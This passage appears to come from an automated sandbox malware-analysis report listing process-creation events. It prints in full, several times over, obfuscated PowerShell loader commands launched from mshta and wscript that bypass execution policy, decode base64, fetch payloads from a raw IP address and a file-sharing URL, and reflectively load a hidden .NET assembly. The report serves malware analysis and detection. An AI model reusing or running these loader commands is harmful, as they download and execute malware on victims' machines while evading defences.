CAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','\|').rEPlaCE('seY','$')\| . ((gV 'Mdr').nAmE[3,11,2]-jOIN'')"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"	Jump to behavior
